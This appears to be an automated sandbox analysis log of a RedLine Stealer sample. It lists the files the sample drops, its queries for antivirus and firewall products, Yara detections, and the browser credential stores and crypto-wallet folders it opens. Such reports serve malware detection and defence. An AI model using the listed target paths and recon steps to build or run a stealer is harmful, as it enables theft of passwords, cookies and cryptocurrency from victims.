Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Queries volume information: C:\ProgramData\WinNet\embedded.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Queries volume information: C:\ProgramData\WinNet\embedded.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Queries volume information: C:\ProgramData\WinNet\embedded.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Queries volume information: C:\ProgramData\WinNet\embedded.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Queries volume information: C:\ProgramData\WinNet\gg.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\ProgramData\WinNet\gg.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\ProgramData\WinNet\gg.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\ProgramData\WinNet\gg.exe VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\ProgramData\WinNet\gg.exe VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\ProgramData\WinNet\gg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe

Code function: 0_2_00007FF7531D3D00 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7531D3D00

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C505C6 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

19_2_69C505C6

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C32A20 GetCurrentProcess,GetModuleHandleW,GetProcAddress,GetVersionExW,GetNativeSystemInfo,GetModuleHandleW,GetProcAddress,

19_2_69C32A20

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: gg.exe, 0000000F.00000002.1918737974.000000000942A000.00000004.00000020.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1918966607.000000000946B000.00000004.00000020.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1894257879.0000000008F1C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 15.0.gg.exe.d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.embedded.exe.22f0bb80098.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.embedded.exe.22f0bb80098.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SysrI6zSkJ.exe.1589e200098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SysrI6zSkJ.exe.1589e200098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SysrI6zSkJ.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: embedded.exe PID: 7592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gg.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gg.exe PID: 8008, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\WinNet\gg.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletLR^q
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR^q
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q%appdata%`,^qdC:\Users\user\AppData\Roaming`,^qdC:\Users\user\AppData\Roaming\Binance
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q&%localappdata%\Coinomi\Coinomi\walletsLR^q
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\ProgramData\WinNet\gg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gg.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gg.exe PID: 8008, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 15.0.gg.exe.d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.embedded.exe.22f0bb80098.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.embedded.exe.22f0bb80098.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SysrI6zSkJ.exe.1589e200098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SysrI6zSkJ.exe.1589e200098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SysrI6zSkJ.exe PID: 7432, type: MEMORYSTR
